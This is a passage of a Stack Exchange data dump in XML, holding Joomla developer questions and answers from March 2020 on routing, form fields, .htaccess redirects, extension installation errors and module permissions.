'course';&#xA;                } catch (Exception $e) {&#xA;                    throw new Exception(JText::_('JERROR_LAYOUT_PAGE_NOT_FOUND'), 404);&#xA;                }&#xA;                break;&#xA;            case 'ajax':&#xA;            case 'login':&#xA;                return array('view' =&amp;gt; $view, 'segments' =&amp;gt; $segments);&#xA;                break;&#xA;            default:&#xA;//                throw new Exception(JText::_('JERROR_LAYOUT_PAGE_NOT_FOUND'), 404);&#xA;                break;&#xA;        }&#xA;&#xA;        if (!empty($view) &amp;amp;&amp;amp; isset($id)) {&#xA;            $vars['view'] = $view;&#xA;            $vars['id'] = $id;&#xA;        } else {&#xA;            throw new Exception(JText::_('JERROR_LAYOUT_PAGE_NOT_FOUND'), 404);&#xA;        }&#xA;        return $vars;&#xA;    }&#xA;&#xA;    public function preprocess($query)&#xA;    {&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks for your answers.&lt;/p&gt;&#xA;" OwnerUserId="14152" LastActivityDate="2020-03-08T14:44:10.643" Title="JRoute not return specific menu item link" Tags="|custom-component|jroute|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26795" PostTypeId="2" ParentId="26788" CreationDate="2020-03-08T18:29:47.643" Score="0" Body="&lt;p&gt;I realized that the gallery component mentioned in my question above belongs to an external template, so I contacted the template developer. It turned out that error (only visible in browsers running on windows) was caused by an outdated script file.&lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2020-03-08T18:29:47.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26798" PostTypeId="1" AcceptedAnswerId="26800" CreationDate="2020-03-10T17:42:30.413" Score="0" ViewCount="74" Body="&lt;p&gt;I was looking into the Editor Form field and I came upon this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/20062&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/20062&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which shows this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;css&quot; type=&quot;editor&quot; filter=&quot;raw&quot; editor=&quot;codemirror|none&quot; syntax=&quot;css&quot;/&amp;gt;&#xA;&amp;lt;field name=&quot;js&quot; type=&quot;editor&quot; filter=&quot;raw&quot; editor=&quot;codemirror|none&quot; syntax=&quot;js&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the: &lt;code&gt;syntax=&quot;css&quot;&lt;/code&gt; and &lt;code&gt;syntax=&quot;js&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not aware that this feature is present in Joomla and the documentation does not show that it is. So I obviously tested it in a test module but can't seem to see a difference. But I keep wondering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows if this is present or not?&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2020-03-10T19:31:20.583" Title="Is it True that you can add Syntax to the Editor Form Field Type?" Tags="|form-fields-types|highlighting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26799" PostTypeId="2" ParentId="23781" CreationDate="2020-03-10T18:11:29.940" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Check if the system has free space.&lt;/li&gt;&#xA;&lt;li&gt;Check in &lt;code&gt;System / Global Configuration / Server Tab / Path to Temp&#xA;Folder&lt;/code&gt; if you have a full path (not relative one) to the tmp folder&#xA;of your website.&lt;/li&gt;&#xA;&lt;li&gt;Check in &lt;code&gt;System / Global Configuration / System Tab / Path to&#xA;LogFolder&lt;/code&gt; if you have a full path (not relative one) to the logs&#xA;folder of your website.&lt;/li&gt;&#xA;&lt;li&gt;Check in &lt;code&gt;System / System Information / Folder Permissions tab&lt;/code&gt; if&#xA;all the item are writable&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8977" LastActivityDate="2020-03-10T18:11:29.940" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26800" PostTypeId="2" ParentId="26798" CreationDate="2020-03-10T19:31:20.583" Score="1" Body="&lt;p&gt;Yes, but support for this feature depends on specific editor. It's used mainly by code editors like CodeMirror, not by WYSIWYG editors like TinyMCE.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-10T19:31:20.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26801" PostTypeId="1" CreationDate="2020-03-11T01:30:13.763" Score="0" ViewCount="177" Body="&lt;p&gt;In my custom component, inside the forms, I have several list fields.&#xA;Some are normal list fields, others are sql fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these show &lt;code&gt;&quot;Select an option&quot;&lt;/code&gt; as a header.&#xA;I can't find the way to change this text to something more appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Joomla docs&lt;/a&gt; state I could use an attibute in xml form, like &lt;code&gt;header=&quot;Select custom option&quot;&lt;/code&gt;.&#xA;Sadly, this doesn't have any effect. I Allways see the default text &quot;Select an option&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EzLjU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzLjU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on how to change this?&#xA;I am looking for a translatable solution.&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2023-12-12T20:07:10.917" Title="How to override &quot;Select an option&quot; header for SQL and list fields" Tags="|component|custom-component|form-fields-types|multilingual|xml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26802" PostTypeId="2" ParentId="26801" CreationDate="2020-03-11T14:05:15.257" Score="0" Body="&lt;p&gt;You can use a constant like &lt;code&gt;COMPONENT_OPTION_FIELD&lt;/code&gt; and define that constant in your language ini file like this: &lt;code&gt;COMPONENT_OPTION_FIELD=&quot;Select Custom Option&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also go to your administrator panel, then go to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extensions &gt; Languages &gt; Overrides&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On Overrides page, select the language you want to override the text and click on New. On the right side, there's an option to search the value which is &quot;Select an option&quot; without &quot;&quot; and make sure &quot;The Search For&quot; option is set to &quot;Value&quot; and click on search. Click on the result you got and it will be added to the Language Constant field on the left side, then, in the &quot;Text&quot; input, you change the text to &quot;Select custom option&quot; or whatever name you want to and click in save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also change the field list in your xml file; change it to, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;field name=&quot;mylistvalue&quot; type=&quot;list&quot; default=&quot;Select an option&quot;&#xA;       required=&quot;true&quot; label=&quot;Select an option&quot; description=&quot;&quot;&amp;gt; &#xA;         &amp;lt;option&amp;gt;value=&quot;&quot;&amp;gt;Please Select&amp;lt;/option&amp;gt;&#xA;         &amp;lt;option value=&quot;0&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt; &#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;Option 2&amp;lt;/option&amp;gt; &#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can change &quot;Select an option&quot; and &quot;Please Select&quot; to whatever value you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same thing can be applied to a field of type SQL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;title&quot;&#xA;    type=&quot;sql&quot;&#xA;    default=&quot;10&quot;&#xA;    label=&quot;Select an article&quot;&#xA;    query=&quot;SELECT id AS value, title FROM #__content&quot;&#xA;  /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change &quot;Select an article&quot; to whatever you want. You can even populate the default value with a database record by just changing &lt;code&gt;default=&quot;Select an article&quot;&lt;/code&gt; to your column name. &lt;code&gt;default=&quot;yourColumnName&quot;&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-01T12:48:08.267" LastActivityDate="2020-04-01T12:48:08.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26803" PostTypeId="2" ParentId="24204" CreationDate="2020-03-11T14:28:28.473" Score="1" Body="&lt;p&gt;In your error.php file you can add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($this-&amp;gt;error-&amp;gt;getCode()) == '301') {&#xA;    header('Location: /your error page');&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-01T13:00:57.613" LastActivityDate="2020-04-01T13:00:57.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26804" PostTypeId="1" CreationDate="2020-03-11T18:39:42.813" Score="2" ViewCount="1656" Body="&lt;p&gt;We have a custom app that uses a parameter in the URL to track sessions. However, as per this screenshot, we seem to be setting a cookie called PHPSESSID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Foig.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Foig.jpg&quot; alt=&quot;Is cookie set?&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be a Joomla cookie?&lt;/p&gt;&#xA;" OwnerUserId="11882" LastActivityDate="2020-12-14T11:41:15.287" Title="Do cookies set by Joomla need changes because of the new samesite requirement?" Tags="|joomla-3.6|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26805" PostTypeId="2" ParentId="18727" CreationDate="2020-03-12T09:01:15.350" Score="2" Body="&lt;p&gt;A very important thing for me was to set these two tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;folder&amp;gt;content&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case, the &lt;code&gt;folder&lt;/code&gt; was &quot;hikashop&quot;, because I made a plugin for hikashop,&#xA;and the &lt;code&gt;client 0&lt;/code&gt; was &quot;Administrator&quot;, so Joomla will show the update in the back-end.&lt;/p&gt;&#xA;" OwnerUserId="13760" LastEditorUserId="12352" LastEditDate="2020-03-12T22:46:53.650" LastActivityDate="2020-03-12T22:46:53.650" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26806" PostTypeId="1" AcceptedAnswerId="26828" CreationDate="2020-03-12T15:15:58.493" Score="1" ViewCount="191" Body="&lt;p&gt;I want to override the output of the select radiolist. I can hack the core, but I'm not really fond of doing that in relation to updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i checked out a system plugin to override the JHTMLselect class. But I am stuck on how to implement it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this topic: &lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;How to override core classes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it seems that it's not working properly anymore. Also I can't upload the plugin, I get an error. I have the exact code as the plugin above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code for the override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  System.Overrides&#xA; *&#xA; * @copyright   Copyright (C) 2012 Don Gilbert. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE&#xA; */&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;/**&#xA; * System plugin to override core classes terms.&#xA; *&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  System.Overrides&#xA; * @since       2.5&#xA; */&#xA;class PlgSystemOverrides extends JPlugin&#xA;{&#xA;    /* We do our thing in the __construct method&#xA;     * so that our overridden classes will be&#xA;     * available everywhere&#xA;     */&#xA;    public function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;&#xA;        include_once 'config.php';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is my main php file. this is my config file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  System.Overrides&#xA; *&#xA; * @copyright   Copyright (C) 2012 Don Gilbert. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE&#xA; */&#xA;define('OVERRIDES', dirname(__FILE__).'/overrides');&#xA;&#xA;// Use JLoader to register all the classes you want to override&#xA;JLoader::register('JHtmlSelect', OVERRIDES.'/select.php', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My select.php file is basiscally the whole select.php file in /libraries/cms/html/select.php with a slight change in the radiolist&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2020-03-22T20:30:56.300" Title="Override JHtml core function select.radiolist" Tags="|plugin|overrides|jhtml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26809" PostTypeId="1" AcceptedAnswerId="26810" CreationDate="2020-03-12T23:44:50.847" Score="1" ViewCount="32" Body="&lt;p&gt;I want to remove the strip image function from mod_feed in the administrator area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mod_feed/tmpl/default.php at line 118&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Strip the images.&#xA;$text = JFilterOutput::stripImages($text);&#xA;$text = JHtml::_('string.truncate', $text, $params-&amp;gt;get('word_count', 0), true, false);&#xA;echo str_replace('&amp;amp;apos;', &quot;'&quot;, $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I comment(//) the first &lt;code&gt;$text&lt;/code&gt; the images don't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I comment(//) the second &lt;code&gt;$text&lt;/code&gt; as well then the images are visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But can someone tell me what the &lt;code&gt;true&lt;/code&gt; and &lt;code&gt;false&lt;/code&gt; do that come after &lt;code&gt;('word_count', 0), true, false);&lt;/code&gt;&#xA;And how should this be rewritten that it allows the images and still do the word count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I know editing a Joomla Module goes away after update. It is just learning for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS2: Changing the last false to true makes the images show. But how to find out what it is pointed to.&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2020-03-13T07:09:18.107" Title="Mod_Feed removing the strip image function what do the True &amp; False do?" Tags="|module|images|jhtml|feeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26810" PostTypeId="2" ParentId="26809" CreationDate="2020-03-13T07:09:18.107" Score="2" Body="&lt;p&gt;The arguments for &lt;code&gt;JHtmlString::truncate()&lt;/code&gt; are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string   $text       The text to truncate.&#xA;integer  $length     The maximum length of the text.&#xA;boolean  $noSplit    Don't split a word if that is where the cutoff occurs (default: true).&#xA;boolean  $allowHtml  Allow HTML tags in the output, and close any open tags (default: true).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the last argument to &lt;code&gt;true&lt;/code&gt; or omit it (it defaults to &lt;code&gt;true&lt;/code&gt;) to allow HTML tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlString.html#method_truncate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JHtmlString.html#method_truncate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-13T07:09:18.107" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26811" PostTypeId="1" CreationDate="2020-03-14T05:24:55.723" Score="1" ViewCount="313" Body="&lt;p&gt;I'm currently have a website which runs under https and work with no issue and I've tried to do something on my .htaccess file so that when I try &lt;a href=&quot;http://abc.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://abc.com&lt;/a&gt; it will redirect to &lt;a href=&quot;https://www.abc.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.abc.com&lt;/a&gt;&#xA;However, I've tried a few items below and my redirection does not work:&#xA;- .htaccess has been enabled with AllowOverride and tested readable.&#xA;- filename no issue.&#xA;- location of rules has been moved to the beginning of the files but not work&#xA;- Syntax tested with the tool available online and debug with no issue.&#xA;Below are my .htaccess file for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2018 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line 'Options +FollowSymLinks' may cause problems with some server configurations.&#xA;# It is required for the use of mod_rewrite, but it may have already been set by your &#xA;# server administrator in a way that disallows changing it in this .htaccess file.&#xA;# If using it causes your site to produce an error, comment it out (add # to the &#xA;# beginning of the line), reload your site in your browser and test your sef urls. If &#xA;# they work, then it has been set by your server administrator and you do not need to &#xA;# set it here.&#xA;##&#xA;&#xA;## No directory listings&#xA;&amp;lt;IfModule autoindex&amp;gt;&#xA;  IndexIgnore *&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Suppress mime type detection in browsers for unknown types&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;Header always set X-Content-Type-Options &quot;nosniff&quot;&#xA;Header append X-FRAME-OPTIONS &quot;SAMEORIGIN&quot;&#xA;Header set Strict-Transport-Security &quot;max-age=31536000&quot; env=HTTPS&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^[^.]+\.[^.]+$&#xA;RewriteCond %{HTTPS}s ^on(s)|&#xA;RewriteRule ^ http%1://www.%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site then comment out the operations listed &#xA;# below by adding a # to the beginning of the line.&#xA;# This attempts to block the most common type of exploit `attempts` on Joomla!&#xA;#&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment the following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW, I also try to amend it with below, purposely amend to wrong link but there a was no error appear as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^abc.com [NC]   &#xA;RewriteRule ^(.*)$https://www.abc.coms/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also went and check my apache logs and found there's an error which involving ssl warn.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[ssl:warn] [pid 204:tid 412] AH01916: Init: (localhost:443) You&#xA;  configured HTTP(80) on the standard HTTPS(443) port!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this will affect my redirection or not but my website currently able to run under https with no issue. &#xA;Please help! TIA!&lt;/p&gt;&#xA;" OwnerUserId="14095" LastEditorUserId="14095" LastEditDate="2020-04-04T12:32:58.983" LastActivityDate="2023-12-15T20:02:55.320" Title="Redirection not work from non www to www(https) You configured HTTP(80) on the standard HTTPS(443) port!" Tags="|joomla-2.5|.htaccess-configuration|ssl|https|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26812" PostTypeId="2" ParentId="26811" CreationDate="2020-03-16T03:00:02.913" Score="0" Body="&lt;p&gt;Perhaps delete this bit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^[^.]+\.[^.]+$&#xA;RewriteCond %{HTTPS}s ^on(s)|&#xA;RewriteRule ^ http%1://www.%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And place the following instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} !=on&#xA;RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-03-16T03:00:02.913" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26813" PostTypeId="1" CreationDate="2020-03-16T22:21:30.290" Score="1" ViewCount="851" Body="&lt;p&gt;Tried installing extensions 'from Web' and installing 'from Folder'. The files were added to the /tmp folder and extracted, but did not get installed. Screen jumps from installing to 500 error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;500 - Internal server error.&#xA;  There is a problem with the resource you are looking for, and it cannot be displayed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Fresh/new installed Joomla version 3.9.16&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;PHP 7.3.15&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Web Server    Microsoft-IIS/8.5&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cleared cache. Switched between Chrome and Microsoft Edge. Same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logged in as SuperUser with full access permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't find any error logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ran a check and repair on sql db and 6 errors found, but does not self-repair when applied:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Warning bak_pdfinder_tokens The storage engine for the table doesn't support repair&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Warning bak_pdfinder_tokens_aggregate   The storage engine for the table doesn't support repair&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Warning bak_pd_finder_tokens    The storage engine for the table doesn't support repair&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Warning bak_pd_finder_tokens_aggregate  The storage engine for the table doesn't support repair&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Warning pdfinder_tokens The storage engine for the table doesn't support repair&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Warning pdfinder_tokens_aggregate   The storage engine for the table doesn't support repair&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14158" LastEditorUserId="12352" LastEditDate="2020-03-17T00:08:25.550" LastActivityDate="2021-08-10T23:26:31.800" Title="New Joomla install but can't install extensions. Get 500 Internal Server error" Tags="|extensions|installation|joomla-3.9|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26815" PostTypeId="2" ParentId="26813" CreationDate="2020-03-17T17:27:54.943" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Verify your xml file&lt;/li&gt;&#xA;&lt;li&gt;Try unnistalling and installing your extension&lt;/li&gt;&#xA;&lt;li&gt;Drop the table manually&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also verify your PhpMyAdmin make sure it's Mysql and the engine is InnoDB.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="12352" LastEditDate="2020-03-17T23:04:27.120" LastActivityDate="2020-03-17T23:04:27.120" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26816" PostTypeId="1" CreationDate="2020-03-17T19:59:59.390" Score="1" ViewCount="234" Body="&lt;p&gt;We want Administrators to be able to see Privacy Requests in the module on &lt;code&gt;cpanel&lt;/code&gt;. But this module has the following code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Only super user can view this data&#xA;if (!JFactory::getUser()-&amp;gt;authorise('core.admin'))&#xA;{&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the safest way to add 'Administrator' access as well. Commenting the above out and setting up the permissions from within the Joomla Backend Module Parameters or should we replace the 'core.admin' to &lt;code&gt;core.edit&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: We are strictly talking about the CPanel Module not the entire Privacy Suite!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS2: We know that making changes to core modules can revert after updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS3: If this is extremely unsafe then please let us know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS4: We don't like to go the route of the 'MagicNumbers' as in this example. Because the groups can change but if it is the only viable solution then we have to go with it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$groups = $user-&amp;gt;groups;&#xA;&#xA;if (in_array(7, $groups)):&#xA;&#xA; //only enter if the user is in the group 7 (group 7 = Administrator)&#xA;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2020-03-17T19:59:59.390" Title="authorise('core.admin') how to include administrator level also?" Tags="|joomla-3.9|access|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
